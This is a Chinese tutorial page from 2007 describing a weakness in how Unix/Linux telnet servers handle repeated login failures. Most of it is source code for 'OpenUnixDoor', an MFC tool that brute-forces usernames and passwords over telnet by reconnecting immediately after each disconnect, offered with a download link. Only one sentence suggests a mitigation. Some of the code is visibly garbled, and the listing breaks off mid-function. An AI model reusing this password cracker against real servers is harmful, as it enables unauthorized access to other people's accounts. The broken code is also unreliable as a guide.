» 网友学堂 » LINUX教程 » Unix/Linux用户密码的猜解(附源文件) -> 当日更新
Unix/Linux用户密码的猜解(附源文件)
作者:暖月 发表时间:2007-1-20 23:50 阅读:565次 在百度搜索相关内容

Unix/Linux对远程登录失败的处理,存在安全隐患


Unix/Linux操作系统对远程多次登录失败的处理是断开与对方的连接,在这种情况下,正在登录的客户端软件会因服务方的连接中断而中止。这一安全策略对付穷举密码攻击是很有效的,因为攻击者在服务方断开连接后重新进行连接的时间代价是很大的。


事实上,这一安全策略有一个很大的隐患-----它的策略实现要依靠客户端软件的合作,它要求客户端软件在服务方断开连接后退出或中止,以达到延时的目的。如果客户软件不合作,没有退出以完成延时,而是以最小的延时重新连接并登录服务方,那么服务方以延时为目的的安全策略将很难达到它的目的。这样,客户方就可以猜解服务方的用户密码了。


网络协议的服务/客户端都是一个有限状态机,客户的状态机可以抽象简化为图1,图1表示的意义是:客户状态机在网络建立连接后,由“开始”转入“用户认证”,如果认证失败则转到“结束”,如果认证成功则请求服务方向客户方提供各种服务。操作系统自带的网络客户程序(注意区别于网络客户)被有意设计成软件的运行状态随网络客户状态机的变化而变化,也就是当网络客户机转向结束时程序也结束。服务方正是通过控制客户状态机来控制客户程序的运行,进而实现它的安全策略。在使用WinNT/2000、Unix/Linux自带的Telnet客户程序或FTP客户程序登录Unix/Linux服务器时,上面所述的安全策略就起到了作用,它可以令客户程序自动退出。




如果现在不使用操作系统自带的网络客户软件,而是使用重新设计网络客户软件,这个网络客户的状态机如图2所示。


图2所示状态机表示的意义是:当客户状态机状态转到“结束”时,又自动转到“开始”,即状态机永远循环没有退出,同时客户软件的状态也独立于状态机状态,即状态机退出时客户软件不退出。根据图2所示状态机设计的网络客户软件可以使Unix/Linux对远程登录失败处理的安全策略失去作用。在10/100M以太局域网络中,按照上面思路设计的客户端软件可在120分钟内猜测完所有由数字组成的六字符密码。


下图是本文所述软件工作时的界面:




下面给出部分程序的源代码(用… …略去了VC++自动生成的代码)


点击这里下载源文件。


WinNT/2000处理多次登录失败的策略是锁定帐号,这一策略优于Unix/Linux的安全策略,但是存在另外的安全问题,本人已有文章具体论述。解决Unix/Linux这一安全隐患的办法是,网络服务软件记录多次登录失败的主机地址或主机名,在建立新的连接时不与记录的主机连接。




下面给出部分程序的源代码(用… …略去了VC++自动生成的代码):


////////////////////


//


// OpenUnixDoorDlg.h : header file


//


////////////////////


/*


*OpenUnixDoor Developer: DING Xiaoping


*Send comments and/or bug reports to: northsouth@163.com


*/


#include //add for Cevent


//通信原语


const unsigned char IAC_IS = '0';


const unsigned char IAC_SEND = '1';


const unsigned char IAC_INFO = '2';


const unsigned char IAC_VAR = '0';


const unsigned char IAC_VALUE = '1';


const unsigned char IAC_ESC = '2';


const unsigned char IAC_USERVAR = '3';


const unsigned char IAC_SE = 240;


const unsigned char IAC_NOP = 241;


const unsigned char IAC_DataMark = 242;


const unsigned char IAC_BRK = 243;


const unsigned char IAC_IP = 244;


const unsigned char IAC_AO = 245;


const unsigned char IAC_AYT = 246;


const unsigned char IAC_EC = 247;


const unsigned char IAC_EL = 248;


const unsigned char IAC_GA = 249;


const unsigned char IAC_SB = 250;


const unsigned char IAC_WILL = 251;


const unsigned char IAC_WONT = 252;


const unsigned char IAC_DO = 253;


const unsigned char IAC_DONT = 254;


const unsigned char IAC_IAC = 255;


//


#define MAX_BUFFER 1024


#define MAX_LINELENGTH 100


#define SETPRATE " \t\n\r"


//


// COpenUnixDoorDlg dialog


class CClientSocket;


class COpenUnixDoorDlg : public CDialog


{


// Construction


public:


void InitDlg();


///////////////////////////for NVT


COpenUnixDoorDlg(CWnd* pParent = NULL);

// standard constructor


BOOL ReceiveData(CClientSocket *pClSt);

//Receive data for server


BOOL SendData(CString strSend);

//Send data to server


BOOL ProcessOption();

//Process option.


int ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess);

void ArrangeReply(CString strOption);

void RespondToOptions();

int Find(CString str, char ch);

void ReConnect();


//////////////////////////for logon


BOOL Logon(); //logon unix


BOOL GetUserInput();


BOOL GetPassChar(CString strSelect);


BOOL RepairSocket();


void CloseSocket();


void LockView();


/////////////////////////for NVT


unsigned char cBuffer[MAX_BUFFER]; //copy data from socket


CString strRecvData; //receive's data


CString strSendData; // for send


CString strDisplay; // for display


CStringList m_ListOptions; // for option


BOOL bNegotiating;


BOOL bOptionsSent;


CString m_strResp;


///////////////////////for password and user


CString strHostName; //host


CString strPassDir; //密码文件路径


CString strUserDir; //用户名文件路径


CString strPassCount; //密码字符数


int iAlreadyPassC;


CString strPassChar;


CString strUserName;


int iCheckUser; //IDC_CHECK_USER


BOOL bUserFinished; //TRUE:FINISHED,FAILED:NO FINISHED;


BOOL bPassFinished; //TRUE:FINISHED,FAILED:NO FINISHED;


BOOL bIsStop; //TRUE:YES;


///////////////////////for password and user


// Dialog Data


//{{AFX_DATA(COpenUnixDoorDlg)


enum { IDD = IDD_OPENUNIXDOOR_DIALOG };


CSpinButtonCtrl m_SpinPass;


CComboBox m_ComPass;


CButton m_CheckUser;


int m_iPassCount;


//}}AFX_DATA


//{{AFX_VIRTUAL(COpenUnixDoorDlg)


protected:


virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support


//}}AFX_VIRTUAL


// Implementation


protected:


HICON m_hIcon;


CClientSocket *pSocket;


// Generated message map functions


//{{AFX_MSG(COpenUnixDoorDlg)


virtual BOOL OnInitDialog();


afx_msg void OnSysCommand(UINT nID, LPARAM lParam);


afx_msg void OnPaint();


afx_msg HCURSOR OnQueryDragIcon();


afx_msg void OnBtBegin();


afx_msg void OnBtExit();


afx_msg void OnBtUserdir();


afx_msg void OnCheckUser();


afx_msg void OnBtPassdir();


afx_msg void OnSelendokComboPass();


afx_msg void OnBtStop();


afx_msg void OnBtHelp();


//}}AFX_MSG


DECLARE_MESSAGE_MAP()


};


/////////////////////////////////////////////////////////////////////////////


// CHelpDlg dialog


class CHelpDlg : public CDialog


{


// Construction


public:


CHelpDlg(CWnd* pParent = NULL); // standard constructor


// Dialog Data


//{{AFX_DATA(CHelpDlg)


enum { IDD = IDD_DIALOG_HELP };


CEdit m_Edit_HelpCtr;


//}}AFX_DATA




// Overrides


// ClassWizard generated virtual function overrides


//{{AFX_VIRTUAL(CHelpDlg)


public:


virtual int DoModal();


protected:


virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support


//}}AFX_VIRTUAL


// Implementation


protected:


// Generated message map functions


//{{AFX_MSG(CHelpDlg)


virtual BOOL OnInitDialog();


afx_msg void OnBtMypro();


//}}AFX_MSG


DECLARE_MESSAGE_MAP()


};


//{{AFX_INSERT_LOCATION}}


////////////////////


//


// OpenUnixDoorDlg.cpp


//


///////////////////


/*


*OpenUnixDoor Developer: DING Xiaoping


*Send comments and/or bug reports to: northsouth@163.com


*/


#include "stdafx.h"


#include "OpenUnixDoor.h"


#include "OpenUnixDoorDlg.h"


#include "ClientSocket.h"


//this for debug


#define DXPDEBUG 1 //调试设置


#if DXPDEBUG


FILE *fp=NULL; //调试输出文件


#endif


//定义同步及临界资源


CEvent gEventNextPass; //取下一个密码,为实现同步引进


CEvent gEventPassOk; //已取得密码,为实现同步引进


CEvent gEventNextUser; //取下一个用户名,为实现同步引进


CEvent gEventUserOk; //已取得用户名,为实现同步引进


CEvent gEventDisConncet;


CString strCurPass; //当前密码


CString strCurUser; //当前用户名


//定义线程


CWinThread *pUserThread = NULL, //枚举用户名线程


*pPassWordThread = NULL, //枚举用户密码线程


*pLogonThread = NULL; //登录线程


UINT UserThread(COpenUnixDoorDlg *pDlg);


UINT PassWordThread(COpenUnixDoorDlg *pDlg);


UINT PassWordThreadF(COpenUnixDoorDlg *pDlg);


UINT LogonThread(COpenUnixDoorDlg *pDlg);


/////////////////////////////////////////////////////////////////////////////


… …


/////////////////////////////////////////////////////////////////////////////


// COpenUnixDoorDlg dialog


COpenUnixDoorDlg::COpenUnixDoorDlg(CWnd* pParent /*=NULL*/)


: CDialog(COpenUnixDoorDlg::IDD, pParent)


{


//{{AFX_DATA_INIT(COpenUnixDoorDlg)


m_iPassCount = 1;


//}}AFX_DATA_INIT


m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);


}


void COpenUnixDoorDlg::DoDataExchange(CDataExchange* pDX)


{


CDialog::DoDataExchange(pDX);


//{{AFX_DATA_MAP(COpenUnixDoorDlg)


DDX_Control(pDX, IDC_SPIN_PASS, m_SpinPass);


DDX_Control(pDX, IDC_COMBO_PASS, m_ComPass);


DDX_Control(pDX, IDC_CHECK_USER, m_CheckUser);


DDX_Text(pDX, IDC_ET_PASSCOUNT, m_iPassCount);


DDV_MinMaxInt(pDX, m_iPassCount, 1, 12);


//}}AFX_DATA_MAP


}


BEGIN_MESSAGE_MAP(COpenUnixDoorDlg, CDialog)


… …


END_MESSAGE_MAP()


/////////////////////////////////////////////////////////////////////////////


// COpenUnixDoorDlg message handlers


BOOL COpenUnixDoorDlg::OnInitDialog()


{


… …


InitDlg();


return TRUE; // return TRUE unless you set the focus to a control


}


void COpenUnixDoorDlg::InitDlg()


{


CString s1;


GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);


s1.LoadString(IDS_PASS_ALLNUMBER); //所有数字字符;


m_ComPass.AddString(s1.operator LPCTSTR());//0


m_ComPass.SetCurSel(0);


s1.LoadString(IDS_PASS_ZIDINGYI); //自定义字符集;


m_ComPass.AddString(s1.operator LPCTSTR());//1


s1.LoadString(IDS_PASS_ZIDIAN); //字典;


m_ComPass.AddString(s1.operator LPCTSTR());//2


s1.LoadString(IDS_PASS_ALLENLOW); //所有小写英文字符;


m_ComPass.AddString(s1.operator LPCTSTR());//3


s1.LoadString(IDS_PASS_ALLENUP); //所有大写英文字符;


m_ComPass.AddString(s1.operator LPCTSTR());//4


s1.LoadString(IDS_PASS_NUMANDLOW); //数字和英文小写混合;


m_ComPass.AddString(s1.operator LPCTSTR());//5


s1.LoadString(IDS_PASS_NUMANDLOWUP); //数字和英文大小写混合


m_ComPass.AddString(s1.operator LPCTSTR());//6


s1.LoadString(IDS_PASS_ALL); //所有键盘可输入字符;


m_ComPass.AddString(s1.operator LPCTSTR());//7


m_SpinPass.SetBuddy(GetDlgItem(IDC_ET_PASSCOUNT));


m_SpinPass.SetRange(1,12);


iAlreadyPassC=0;


bIsStop=FALSE;


CTime t=CTime::GetCurrentTime();


s1=t.Format("%H:%M:%S");


SetDlgItemText(IDC_STC_BEGINTIME,s1);


pSocket=NULL;


#if DXPDEBUG


SetDlgItemText(IDC_ET_HOSTNAME,"192.168.42.63");


SetDlgItemText(IDC_ET_USERNAME,"ods");


SetDlgItemText(IDC_ET_PASSFLDIR,"dos");


SetDlgItemInt(IDC_ET_PASSCOUNT,3,FALSE);


#endif


}


void COpenUnixDoorDlg::OnSysCommand(UINT nID, LPARAM lParam)


{


if ((nID & 0xFFF0) == IDM_ABOUTBOX)


{


CAboutDlg dlgAbout;


dlgAbout.DoModal();


}


else


{


CDialog::OnSysCommand(nID, lParam);


}


}


void COpenUnixDoorDlg::OnPaint()


{


… …


}


HCURSOR COpenUnixDoorDlg::OnQueryDragIcon()


{


return (HCURSOR) m_hIcon;


}


void COpenUnixDoorDlg::OnBtBegin()


{


#if DXPDEBUG


fp=fopen("dxpdebug.txt","w");


fprintf(fp,"%s is ip addr.",strHostName.operator LPCTSTR());


#endif


CString s1,s2;


if( ! GetUserInput() )


return;


//建立用户名线程,枚举用户名线程


bUserFinished = TRUE ;


if( iCheckUser ){


pUserThread = AfxBeginThread((AFX_THREADPROC)UserThread,


(LPVOID)this, THREAD_PRIORITY_NORMAL);


if( pUserThread == NULL ){


s1.LoadString(IDS_THREADERRO);


s2.LoadString(IDS_MESSAGE_CAPTION);


MessageBox(s1,s2);


return ;


}


pUserThread->m_bAutoDelete = TRUE;


bUserFinished = FALSE;


}


//建立密码线程,枚举用户密码线程


bPassFinished=TRUE;


s1.LoadString(IDS_PASS_ZIDIAN);


m_ComPass.GetWindowText(s2);


if( s1 == s2){


pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThreadF,


(LPVOID)this, THREAD_PRIORITY_NORMAL);


}else{


GetPassChar( s2 );


pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThread,


(LPVOID)this, THREAD_PRIORITY_NORMAL);


}


if( pPassWordThread == NULL )


{


s1.LoadString(IDS_THREADERRO);


s2.LoadString(IDS_MESSAGE_CAPTION);


MessageBox(s1,s2);


return ;


}


pPassWordThread->m_bAutoDelete=FALSE;


bPassFinished=FALSE;


//建立登录线程


RepairSocket();


LockView();


//界面控制线程


}


BOOL COpenUnixDoorDlg::ReceiveData(CClientSocket *pClSt)


{


int iRecv,iProc;


iProc = 0;


iRecv = pClSt->Receive(cBuffer,MAX_BUFFER);


if(SOCKET_ERROR != iRecv)


{


ProcessLine(cBuffer,iRecv,iProc); //处理接收的数据


ProcessOption(); //处理接收数据中的协议数据


Logon(); //完成尝试登录


}


strRecvData.Empty();


strDisplay.Empty();


return 1;


}


BOOL COpenUnixDoorDlg::SendData(CString strSend)


{


//向服务器发送数据


pSocket->Send(strSend,strSend.GetLength());


return 1;


}


BOOL COpenUnixDoorDlg::ProcessOption()


{


//处理协议数据


CString m_strTemp;


CString m_strOption;


unsigned char ch;


int ndx;


int ldx;


BOOL bScanDone = FALSE;


m_strTemp = strRecvData;


while( !m_strTemp.IsEmpty() && bScanDone != TRUE)


{


ndx = m_strTemp.Find(IAC_IAC);


if(ndx != -1)


{


strDisplay += m_strTemp.Left( ndx );


ch = m_strTemp.GetAt( ndx + 1 );


//////////////////////////////////////////////


#if DXPDEBUG


switch(ch)


{


case IAC_NOP:


fprintf(fp, "got a DataMark\r\n");


break;


case IAC_DataMark:


fprintf(fp, "got a DataMark\r\n");


break;


case IAC_BRK:


fprintf(fp, "got a BRK\r\n");


break;


case IAC_IP:


fprintf(fp, "got a IP\r\n");


break;


case IAC_AO:


fprintf(fp, "got a AO\r\n");


break;


case IAC_AYT:


fprintf(fp, "got a AYT\r\n");


break;


case IAC_EC:


fprintf(fp, "got a EC\r\n");


break;


case IAC_EL:


fprintf(fp, "got a EL\r\n");


break;


case IAC_GA:


fprintf(fp, "got a GA\r\n");


break;


case IAC_SB:


fprintf(fp, "got a IAC_SB\r\n");


break;


case IAC_IAC:


fprintf(fp, "got a IAC\r\n");


break;


default:


fprintf(fp, "%s got unknown command (%d)\r\n",strDisplay.operator LPCTSTR ());


}


#endif


//////////////////////////////////////////////////////////////////


switch(ch)


{


case IAC_DO:


case IAC_DONT:


case IAC_WILL:


case IAC_WONT:


m_strOption = m_strTemp.Mid(ndx, 3);


#if DXPDEBUG


fprintf(fp, "WONT:%s\r\n",m_strOption.operator LPCTSTR ());


#endif


m_strTemp = m_strTemp.Mid(ndx + 3);


strDisplay= m_strTemp.Left(ndx);


m_ListOptions.AddTail(m_strOption);


break;


case IAC_IAC:


strDisplay = m_strTemp.Left(ndx);


m_strTemp = m_strTemp.Mid(ndx + 1);


#if DXPDEBUG


fprintf(fp, "IAC: Option\r\n",m_strTemp.operator LPCTSTR ());


#endif


break;


case IAC_SB:


strDisplay = m_strTemp.Left(ndx);


ldx = Find(m_strTemp, IAC_SE);


m_strOption = m_strTemp.Mid(ndx, ldx);


#if DXPDEBUG


fprintf(fp, "SB:%s\r\n",m_strOption.operator LPCTSTR ());


#endif


m_ListOptions.AddTail(m_strOption);


m_strTemp = m_strTemp.Mid(ldx);


// AfxMessageBox(m_strOption,MB_OK);


break;


default:


bScanDone = TRUE;


}


}


else


{


strDisplay = m_strTemp;


#if DXPDEBUG


fprintf(fp, "normaltext:%s\r\n",m_strTemp.operator LPCTSTR ());


#endif


// AfxMessageBox(m_strNormalText,MB_OK);


bScanDone = TRUE;


}


}




RespondToOptions();


return 1;


}


int COpenUnixDoorDlg::ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess)


{


BOOL bLine = FALSE;


unsigned char ch;




while ( bLine == FALSE && iProcess < iRecv )


{


ch= cBuffer[iProcess];


//Window


switch( ch )


{


case '\r': // ignore


strRecvData += "\r\n"; //"CR";


break;


case '\n': // end-of-line


break;


default: // other....


strRecvData += ch;


break;


}


iProcess ++;


if (iProcess == iRecv)


{


bLine = TRUE;


}


}


return bLine;


}


void COpenUnixDoorDlg::RespondToOptions()


{


CString strOption;




while(!m_ListOptions.IsEmpty())


{


strOption = m_ListOptions.RemoveHead();


ArrangeReply(strOption);


}


SendData(strSendData);


m_strResp.Empty();


}


void COpenUnixDoorDlg::ArrangeReply(CString strOption)


{


unsigned char Verb;


unsigned char Option;


unsigned char Modifier;


unsigned char ch;


BOOL bDefined = FALSE;


if(strOption.GetLength() < 3) return;


Verb = strOption.GetAt(1);


Option = strOption.GetAt(2);


switch(Option)


{


case 1: // Echo


case 3: // Suppress Go-Ahead


bDefined = TRUE;


break;


}


m_strResp += IAC_IAC;


if(bDefined == TRUE)


{


switch(Verb)


{


case IAC_DO:


ch = IAC_WILL;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_DONT:


ch = IAC_WONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_WILL:


ch = IAC_DO;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_WONT:


ch = IAC_DONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_SB:


Modifier = strOption.GetAt(3);


if(Modifier == IAC_SEND)


{


ch = IAC_SB;


m_strResp += ch;


m_strResp += Option;


m_strResp += IAC_IS;


m_strResp += IAC_IAC;


m_strResp += IAC_SE;


}


#if DXPDEBUG


fprintf(fp, "SB: ch:%d Option:%d \r\n",ch,Option);


#endif


break;


}


}


else


{


switch(Verb)


{


case IAC_DO:


ch = IAC_WONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_DONT:


ch = IAC_WONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_WILL:


ch = IAC_DONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


case IAC_WONT:


ch = IAC_DONT;


m_strResp += ch;


m_strResp += Option;


#if DXPDEBUG


fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);


#endif


break;


}


}


}


int COpenUnixDoorDlg::Find(CString str, char ch)


{


char* data = str.GetBuffer(0);


int len = str.GetLength();


int i = 0;


for(i = 0; i < len; i++){


if(data == ch)


break;


}


str.ReleaseBuffer();


return i;


}


void COpenUnixDoorDlg::OnBtExit()


{


#if DXPDEBUG


if(fp!=NULL)fclose(fp);


#endif


//删除所有线程


… …


if(pSocket != NULL)


delete pSocket;


pSocket = NULL;


CDialog::OnOK();


}


UINT UserThread(COpenUnixDoorDlg *pDlg)


{


FILE *fUser;


char cUser[MAX_LINELENGTH];


char *token;


CString s1,s2;


CString strDir = pDlg->strUserDir;


strDir.Replace("\\","\\\\");


//strDir保存用户名的路径及文件名




if( NULL == (fUser = fopen(strDir.operator LPCTSTR(),"r+")))


{


s1.LoadString(IDS_OPENFILEERRO);


s2.LoadString(IDS_MESSAGE_CAPTION);


strDir.Format(s1,strDir.operator LPCTSTR());


MessageBox(GetActiveWindow(),strDir,s2,0);


if(fUser != NULL)


fclose(fUser);


pDlg->bUserFinished = TRUE;


return 0;


}


while( ! feof( fUser ) )


{


if( NULL == fgets( cUser,MAX_LINELENGTH,fUser ))


{


fclose( fUser );


pDlg->bUserFinished = TRUE;


return 0;


}


token = strtok( cUser,SETPRATE );// #define SETPRATE " \t\n\r"




do


{


WaitForSingleObject(gEventNextUser,INFINITE);


// 等待“新用户名”事件


gEventNextUser.ResetEvent(); //复位。


strCurUser = token; //改变当前用户名。


gEventUserOk.SetEvent(); //发送“用户名完成”事件


}while((token = strtok(NULL,SETPRATE)) != NULL);


}//while end


pDlg->bUserFinished = TRUE;


gEventUserOk.SetEvent();


return 0;


}


UINT PassWordThread(COpenUnixDoorDlg *pDlg)


{


/*


**


**


** strPass-> │ a │ b │ c │ d │


** \/ │


** /\ │


** iPPos │ 1 │ 0 │ 2 │


**


** 例如:str="abcd",iCount=3,当iPPos=102 时表示字串"bac"


**


*/


int j;


int iCount=pDlg->m_iPassCount;


int k=iCount-1;


CString strPass=pDlg->strPassChar;


int iPCount=strPass.GetLength() ;


CString strTemp;


int iPPos[MAX_LINELENGTH];


for(j = 0;( j iPPos[j] = 0;




do{


while( iPPos[0] < iPCount )


{


while( iPPos[k] < iPCount ){


strTemp.Empty();


for(j = 0;j < iCount; j++ ){


strTemp.Insert(j,strPass.GetAt(iPPos[j]));


}


WaitForSingleObject(gEventNextPass,INFINITE);


// 等待“新密码”事件


gEventNextPass.ResetEvent(); //复位。


strCurPass=strTemp; //改变当前密码。


gEventPassOk.SetEvent(); //送密码完成事件


#if DXPDEBUG


fprintf(fp, "%s\r\n",strCurPass.operator LPCTSTR ());


#endif


iPPos[k]++;


}




iPPos[k] = 0; //末位清零


for(j = iCount-2;j >= 0;j--)


{


if(( iPPos[j]+=1 )==iPCount && j != 0 )


iPPos[j] = 0;


else break;


//完成iCount进制加法运算


}


}//while


if(!pDlg->bUserFinished){


gEventNextUser.SetEvent(); //发送“新用户名”事件


WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件


gEventUserOk.ResetEvent(); //复位。


}


}while(!pDlg->bUserFinished);




pDlg->bPassFinished=TRUE;


gEventPassOk.SetEvent();


return 0;


}


UINT PassWordThreadF(COpenUnixDoorDlg *pDlg)


{


FILE *fPass;


char cPass[MAX_LINELENGTH];


char *token;


CString s1,s2;


CString strFile=pDlg->strPassDir;


strFile.Replace("\\","\\\\");


//strFile保存密码文件的路径及文件名


if(NULL == ( fPass = fopen(strFile.operator LPCTSTR(),"r+")) )


{


s1.LoadString(IDS_OPENFILEERRO);


s2.LoadString(IDS_MESSAGE_CAPTION);


strFile.Format(s1,strFile.operator LPCTSTR());


MessageBox(GetActiveWindow(),strFile,s2,0);




if( fPass != NULL )


fclose( fPass );


pDlg->bPassFinished=TRUE;


return 0;


}


do{


while(!feof(fPass))


{


if(NULL==fgets(cPass,MAX_LINELENGTH,fPass))


{


fclose(fPass);


break;


}


token=strtok(cPass,SETPRATE);// #define SETPRATE " \t\n\r"




do


{


WaitForSingleObject(gEventNextPass,INFINITE);


// 等待“新用户密码”事件


gEventNextPass.ResetEvent(); //复位。


strCurPass=token; //改变当前用户密码。


gEventPassOk.SetEvent(); //发送“用户密码完成”事件


}while((token=strtok(NULL,SETPRATE))!=NULL);


}//while


if(!pDlg->bUserFinished){


gEventNextUser.SetEvent(); //发送“新用户名”事件


WaitForSingleObject(gEventUserOk,INFINITE); //等待“用户名完成”事件


gEventUserOk.ResetEvent(); //复位。


}


}while(!pDlg->bUserFinished);


pDlg->bPassFinished=TRUE;


gEventPassOk.SetEvent();


return 0;


}


UINT LogonThread(COpenUnixDoorDlg *pDlg)


{


pDlg->ReConnect();


return 0;


}


void COpenUnixDoorDlg::ReConnect()


{


BOOL bOK;


if(pSocket != NULL)delete pSocket;


pSocket=new CClientSocket(this) ;




if( pSocket != NULL){


bOK=pSocket->Create();


if(bOK == TRUE){


bOK = pSocket->AsyncSelect(FD_READ │ FD_WRITE│ FD_CLOSE │ FD_CONNECT │ FD_OOB);


bOK = pSocket->Connect(strHostName,23);


}else{


delete pSocket;


}


}else{


AfxMessageBox("Could not create new socket",MB_OK);


}


}


BOOL COpenUnixDoorDlg::GetUserInput()


{


CString s1;


CString s2;


s2.LoadString(IDS_MESSAGE_CAPTION);


//check hostname


GetDlgItemText(IDC_ET_HOSTNAME,strHostName);


if(strHostName.IsEmpty()){


s1.LoadString(IDS_MESSAGE1);


MessageBox(s1,s2);


return FALSE;


}


//check user name or user dir


if(m_CheckUser.GetCheck()){


GetDlgItemText(IDC_ET_USERDIR,strUserDir);


if(strUserDir.IsEmpty()){


s1.LoadString(IDS_MESSAGE2);


MessageBox(s1,s2);


return FALSE;


}


}else{


GetDlgItemText(IDC_ET_USERNAME,strCurUser);


if(strCurUser.IsEmpty()){


s1.LoadString(IDS_MESSAGE2);


MessageBox(s1,s2);


return FALSE;


}


}


iCheckUser=m_CheckUser.GetCheck();


//


m_iPassCount = GetDlgItemInt(IDC_ET_PASSCOUNT);


//check password


GetDlgItemText(IDC_ET_PASSFLDIR,strPassDir);


return TRUE;


}


void COpenUnixDoorDlg::OnBtUserdir()


{


CFileDialog m_dlg(IDS_INPUTDIR);


if( m_dlg.DoModal() ){


CString str = m_dlg.GetPathName();


SetDlgItemText(IDC_ET_USERDIR,str.operator LPCTSTR());


}


}


void COpenUnixDoorDlg::OnCheckUser()


{


if(m_CheckUser.GetCheck())


{


GetDlgItem(IDC_ET_USERDIR)->EnableWindow(TRUE);


GetDlgItem(IDC_BT_USERDIR)->EnableWindow(TRUE);


GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);




}else{


GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_ET_USERNAME)->EnableWindow(TRUE);




}


}


void COpenUnixDoorDlg::OnBtPassdir()


{


CFileDialog m_dlg(IDS_INPUTDIR);


if( m_dlg.DoModal() ){


CString str=m_dlg.GetPathName();


SetDlgItemText(IDC_ET_PASSFLDIR,str.operator LPCTSTR());




}


}


void COpenUnixDoorDlg::OnSelendokComboPass()


{


CString s1,s2,s3;


s1.LoadString(IDS_PASS_ZIDIAN);


s2.LoadString(IDS_PASS_ZIDINGYI);




m_ComPass.GetWindowText(s3);


if(s1==s3 ││ s2==s3){


GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(TRUE);


if(s2 == s3){


GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);


}else{


GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(TRUE);


}


}else{


GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);


GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);




}


}


BOOL COpenUnixDoorDlg::GetPassChar(CString strSelect)


{


CString s1;


s1.LoadString(IDS_PASS_ZIDINGYI);


if(strSelect == s1){


GetDlgItemText(IDC_ET_PASSFLDIR,strPassChar) ;return TRUE;


}


s1.LoadString(IDS_PASS_ALLNUMBER);


if(strSelect==s1){


strPassChar="0123456789";return TRUE;


}


s1.LoadString(IDS_PASS_ALLENLOW);


if(strSelect==s1){


strPassChar="abcdefghigklmnopqrstuvwxyz"; return TRUE;


}


s1.LoadString(IDS_PASS_ALLENUP);


if(strSelect==s1){


strPassChar="ABCDEFGHIGKLMNOPQRSTUVWXYZ"; return TRUE;


}


s1.LoadString(IDS_PASS_NUMANDLOW);


if(strSelect == s1){


strPassChar = "0123456789abcdefghigklmnopqrstuvwxyz"; return TRUE;


}


s1.LoadString(IDS_PASS_NUMANDLOWUP);


if(strSelect == s1){


strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";


return TRUE;


}


s1.LoadString(IDS_PASS_ALL);


if(strSelect == s1){


strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ`~!@#$%^&*()-=\\_+│[]{};':\",./<>?";


return TRUE;


}


return FALSE;


}


BOOL COpenUnixDoorDlg::RepairSocket()


{


BOOL bOK;


pSocket = new CClientSocket(this) ;


if(pSocket != NULL){


bOK = pSocket->Create();


if(bOK == TRUE){


pSocket->AsyncSelect(FD_READ │ FD_WRITE│ FD_CLOSE │ FD_CONNECT │ FD_OOB);


pSocket->Connect(strHostName,23);


}else{


delete pSocket;


}


}else{


AfxMessageBox("Could not create new socket",MB_OK);


}


return TRUE;


}


void COpenUnixDoorDlg::CloseSocket()


{


//gEventDisConncet.SetEvent();


CString strTemp;


strTemp.LoadString(IDS_YOUAREFAILED);


AfxMessageBox(strTemp);


}


void COpenUnixDoorDlg::OnBtStop()


{


static int i=0;


CString str;


if(i == 0)


{


//MUST STOP SOKET


bIsStop=TRUE;


pSocket->OnClose(0);


if(pUserThread != NULL)


pUserThread->SuspendThread(); //枚举用户名线程


if(pPassWordThread != NULL)


pPassWordThread->SuspendThread(); //枚举用户密码线程


//if(pLogonThread!=NULL)pLogonThread->SuspendThread(); //登录线程


str.LoadString(IDS_REBEGIN);


SetDlgItemText(IDC_BT_STOP,str);


i=1;


}else{


bIsStop = FALSE;


gEventDisConncet.SetEvent();


if(pUserThread != NULL)


pUserThread->ResumeThread();


if(pPassWordThread != NULL)


pPassWordThread->ResumeThread();


//if(pLogonThread!=NULL)pLogonThread->ResumeThread();


str.LoadString(IDS_STOP);


SetDlgItemText(IDC_BT_STOP,str);


i = 0;


}


}


void CAboutDlg::OnOK()


{


CDialog::OnOK();


}


void COpenUnixDoorDlg::OnBtHelp()


{


CHelpDlg dlg;


dlg.DoModal();


}


void COpenUnixDoorDlg:ockView()


{


